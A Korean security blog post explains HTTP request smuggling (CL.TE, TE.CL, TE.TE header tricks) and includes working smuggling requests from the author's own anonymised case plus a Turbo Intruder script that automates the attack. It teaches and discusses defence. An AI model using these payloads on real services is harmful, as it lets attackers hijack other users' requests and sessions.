HTTP Desync Attack 에 대해 알아보자(HTTP Smuggling attack re-born, +My case)

Today’s content is Korean content for HTTP Desync Attacks. Based on the link below to this article. and can get more accurate information by referring to the this document.

최근에 Portswigger의 albinowax가 HTTP Desync Attacks: Request Smuggling Reborn 이라는 글을 게시하고 트윗이나 여러 매체에서 굉장히 핫했었는데요, 오늘은 그냥 제가 이해한 내용을 토대로 간략하게 정리해보려고 합니다. (틀린 부분 있다면 댓글 남겨주세요)

HTTP Request Smuggling Re-born!

TL;DR

Hops 구조에서 서버, 장비 간 Content-Lengh와 Transfer-Encoding의 처리 방식 차이를 이용한 Smuggling 공격

  • CL.TE: Transfer-Encoding의 0\r\n을 통해서 백엔드 서버에 특정 문자를 대기시킴
  • TE.CL: Content-Length를 통해 서버에 특정 문자를 대기시킴
  • 찾는건 무난한데, 대응방안이 어려움 😱
  • 서버/장비 패치로 가능하길 바래야하는 수준, 운없으면 패치해서 다른 케이스로 나옴
  • 위키에 있는 최신 문서를 읽어주세요! 이 글은 그저 과거의 산물일 뿐..

HTTP Request Smuggling (Desync attack)

HTTP Request Smuggling은 HTTP 프로토콜 처리 중 여러가지 방법을 통해 공격자가 의도한 요청을 백엔드로 전달하는 기술입니다.

아주 오래된 기법(Double Content-Length)이긴하나 전체적인 패치로 사라졌다가, 최근에 다시 Transfer-Encoding을 이용한 공격 기법으로 나오면서 재 조명받은 공격 기술입니다. 자세한 내용은 아래 Cullinan 위키로 참고해주세요 (최신화 포스트입니다.)

https://www.hahwul.com/cullinan/http-request-smuggling/

Transfer-Encoding: chunked

hbh(hop-by-hop) 헤더로 데이터를 전송하기 위한 인코딩 형식을 지정하는 헤더입니다. end-to-end 헤더인 Content-Encoding과 유사하게 사용됩니다.

Transfer-Encoding: chunked
Transfer-Encoding: compress
Transfer-Encoding: deflate
Transfer-Encoding: gzip
Transfer-Encoding: identity

여러가지 인코딩 포맷을 지원하는데요, 우리가 이번에 보고 가야할 인코딩 방식은 chunked 입니다. 복잡한건 아니고, chunked 가 있는 경우 기존 Content-Length 헤더는 생략되고 chunk 앞부분에 현재 데이터의 길이(16진수), CRLF 이후 데이터가 오고 마지막에 다시 CRLF가 옵니다. 이를 통해서 큰 데이터를 나눠서 웹 서버에게 전송하고 받을 수 있게 됩니다.

예를들면… 이런식이죠.

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

6\r\n
HAHWUL\r\n
4\r\n
Test\r\n
6\r\n
isTest\r\n
0\r\n
\r\n

각 데이터가 전송될 크기의 16진수 값, 실제 값 형태로 전달하며 데이터 전송의 스트림이 마무리될 때 0\r\n 으로 종료를 인지합니다. 본래 Transfer-Encoding은 Response에 주로 사용하는 헤더이긴 하나, Request에서도 사용할 수 있습니다.

Request Smuggling

이 그림이 이해에 가장 좋은 그림인 것 같습니다. by portswigger

왜 가능한가 하면 보통 프로덕션 서버들, 즉 운영중인 실 서비스들은 웹 서버가 표면에 직접적으로 노출되는 경우가 적은편입니다. LB나 리버스프록시 등 앞단에 요청을 받아서 전달하거나 분배해주는 서버가 있기 마련인데, 이 앞단 서버에서 뒷단 서버로 전달하는 과정 중 chunked, Content-Encoding 등을 만나면 지정된 크기만큼 처리하고 남은 패킷을 처리하지 않고 남겨두고 있는데, 이 패킷 데이터가 다른 사용자의 요청에서 처리되어 영향을 끼치게 됩니다. 결국 계산된 크기만큼 처리하고 GET /test 같은 형태로 시작하는 값을 넣어주게 되면 그 다음 소켓 사용자의 웹 요청 시작 부분이 GET /test로 시작하게 되어서 다른 사용자의 액션을 변경할 수 있어집니다.

공격 시나리오

아래 링크에 따로 정리해두었습니다. 해당 링크를 참고해주세요 :D

https://www.hahwul.com/cullinan/http-request-smuggling/#offensive-techniques

분석 방법

식별하는 방법은 간단합니다. Content-Length와 Transfer-Encoding: chunked를 동시에 HTTP Request에 담아 전송 후 반응을 체크하면 되는데요, 체크 방법은 CL:TETE:CL을 참고해주세요. (최신화 하고 있는 문서라서 해당 링크가 더 정확할거에요)

CL:TE

프론트 엔드는 Content-Type을 보고 13만큼의 크기로 인지하고 SMUGGLED를 포함한 post body를 모두 보내고 백엔드는 chunked를 보기 때문에 0\r\n 을 보고 각각 개별 요청으로 분리해서 판단하게 됩니다. 그럼 SMUGGLED 윗 부분까지만 요청으로 처리하고 백엔드 캐시에 SMUGGLED부터 남아서 다음 요청에서 이어붙여지게 됩니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
SMUGGLED

TE:CL

CL.TE랑 반대로된 케이스입니다. 프론트는 0\r\n 기준으로 분리해서 보기 때문에 전체 post body를 백엔드로 보내고, 백엔드는 Content-Type의 크기를 참고하기 때문에 3개 문자, 즉 8과 개행문자(\r\n) 까지만 처리하고 백엔드에 대기되게 됩니다. 그래서 다음 요청은 SMUGGLED로 시작하게 됩니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

위 요청대로면 chunked로 인해 프론트는 모두 보내게 되고, 백엔드는 Content-Length를 보고 8(+개행)까지만 처리하게 됩니다. 그로인해 다음 요청은 SMUGGLED로 시작하게 됩니다.

TE:TE

사실상 위 CL.TE, TE.CL의 대응 방안일 수 있으나 개행문자등을 이용해서 우회할 수 있는 여지가 있습니다. 일반적으로 우회 케이스를 이용한 내용을 2019년도에는 TE:TE라고도 많이 불렀는데요, 이후에는 CL:TE, TE:CL 2가지 안에서 부르는 형태로 많이 바귀었습니다. (2021년도 기준)

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

이 방법을 이용해서 작성자는 paypal 로그인 부분을… (하필 제가 피토하면서 봤던 부분이라 마음이 짠하네요 ㅜㅜ)

어떻게 우회되는가 하면, 저런 문자 처리를 이용해서 프론트, 백엔드 중 하나는 Transfer-Encoding을 처리하지 않게 유도하는겁니다. 자 그럼 실제로 취약한지는 어떻게 판단해야할까요..

우리가 노려야할 부분은 위에 요청 이후 다음 요청입니다. 다음 요청에서 SMUGGLED로 시작하는 웹 요청이 처리됬는지, 즉 임의의 웹 요청이 처리되는지 알아야하는데 위에처럼 단순한 문자열로는 에러 기반으로 감지해야하고 아닌 경우엔 테스트 서버 페이지로 요청을 하나 날리게 한다던가, 뭔가 식별할 수 있는 요청을 던져야 합니다(404, response 조작 등). 그리고 아주 빠르게 다음 요청을 선점해서 공격 여부를 식별해야하는 것 같구요..

막 테스트해도 될까?

자.. 대충 내용은 정리했는데, 이게 참 웹 캐시 포이즈닝과 비슷하게 테스트 자체가 불특정 다수에게 피해를 줄 수 있습니다.. 왜냐하면 chunked로 인해서 서버가 대기하는 상태에서 다른 사용자의 요청이 변조되는거라 테스팅하는 사람도 즉각적인 인지가 어렵고, 테스터의 환경에서만 재현되는게 아니라 캐시 포이즈닝처럼 순간 그 요청 순서에 물린 사용자에게 트리거되기 때문에 실서비스 대상으론 조심스러울 것 같단 생각이 듭니다. (그러다보니, PoC 영상에서도 굉장히 여러번 툴을 이용해서 반복요청을 합니다)

어쨌던 확실한건 타 사용자에게 영향을 주는 케이스는 캐시 버스팅(Cache busting)으로 충분히 해결할 수 있어서 맘편히 테스트해도 크게 문제가 없습니다.

Cache busting이란 /info?cache=12345545 와 같이 파라미터 등을 통해 캐시되거나 LB가 Smuggled 되서 타 사용자에게 영향을 줄 수 없도록 하는 기법입니다. Param mining이나 Smuggling에선 많이 사용하는 방법이에요.

My Case

위에 CL:TE, TE:CL 케이스를 봐도 눈에 잘 안들어올 수 있는데요.. 제 케이스를 내용만 임의 데이터로 수정해서 대략적인 형태만 보여드릴까 합니다. (TE:TE 우회로 인한 TE:CL이에요)

취약점 식별?


POST /whereisthispage HTTP/1.1
Host: **********
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 12
Transfer-Encoding : chunked

4
test
0

Content-Length(0까지 길이 12)와 Transfer-Encoding(0\r\n의 위치)의 크기가 일치할 때 => 정상 처리


POST /whereisthispage HTTP/1.1
Host: **********
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 13
Transfer-Encoding : chunked

4
test
0

X

Content-Length(X까지 13)와 Transfer-Encoding(0\r\n 까지 12)의 크기가 일치하지 않을 때 => 멈춤(백엔드에서 기다림)

  • 프론트에선 0\r\n까지 보고 0까지 데이터를 넘겨줬지만 백엔드에선 13의 크기로 보기 때문에 12의 크기가 와서 멈춘 상태(X가 없어서)

결국 이 상황을 보면 프론트는 TE(Transfer-Encoding), 백엔드는 CL(Content-Length)를 신뢰한단걸 알 수 있습니다.

공격코드


POST /whereisthispage HTTP/1.1
Host: **********
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 13
Transfer-Encoding : chunked

4
test
e3
GET /otherurl HTTP/1.1
Host: targethost?
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

결국 13크기(e3\r\n까지) 만큼 CL을 지정하고 전송하게 되면 프론트는 TE를 보기 때문에 요청 전문을 넘겨주고, 백엔드는 CL을 봐서 GET /otherurl 이전 부분까지만 처리하고 나머지는 백엔드에 남아 다음 요청을 대기하게 됩니다.

그럼 다른사용자 또는 테스터의 요청이 해당 백엔드 서버로 넘어갈 때 의도한 요청(POST ~~~)가 아닌 GET /otherurl을 타게되어 여러가지 문제(Redirect, xss, sessions hijack.. etc..)를 발생시킬 여지를 만들게 됩니다.

저는 302 요청하는 페이지로 식별했네요.

Script(Turbo Intruder, python, edit sleep time / number of requests)

import re

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0
                           )
    engine.start()

    # This will prefix the victim's request. Edit it to achieve the desired effect.
    prefix = '''GET /otherurl HTTP/1.1
Host: targetorother
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1'''

    chunk_size = hex(len(prefix)).lstrip("0x")
    attack = target.req.replace('0\r\n\r\n', chunk_size+'\r\n'+prefix+'\r\n0\r\n\r\n')
    content_length = re.search('Content-Length: ([\d]+)', attack).group(1)
    attack = attack.replace('Content-Length: '+content_length, 'Content-length: '+str(int(content_length)+len(chunk_size)-3))
    engine.queue(attack)

    for i in range(30):
        engine.queue(target.req)
        time.sleep(0.02)

def handleResponse(req, interesting):
    table.add(req)

Conclusion

2019년도를 강타한 아주 재미있는 공격 기법입니다. 이후에도 유사한 형태로 많은 기법들이 나올 수 있으니 주시하고 있어야할 것 같네요. 어쨌던… 제가 여러번 테스트하고 잡아본 결과로는 대응방안이 진짜 힘듭니다. 고생하세요 보안팀 😭

2021 Comment

아 물론 당시 알비노왁스가 대응방안을 어느정도 주긴 했었습니다. HTTP2 사용과 TE헤더 비신뢰 등의 방법등인데, 서비스 입장에서는 어플리케이션 라이브러리, 장비, 서버 패치등으로 해결하는게 가장 간단한 방법입니다. HTTP2의 경우 다시 스머글링 취약점이 H2C부터, 새로운 형태로도 나오고 있어서 온전한 대안은 되지 못합니다.

References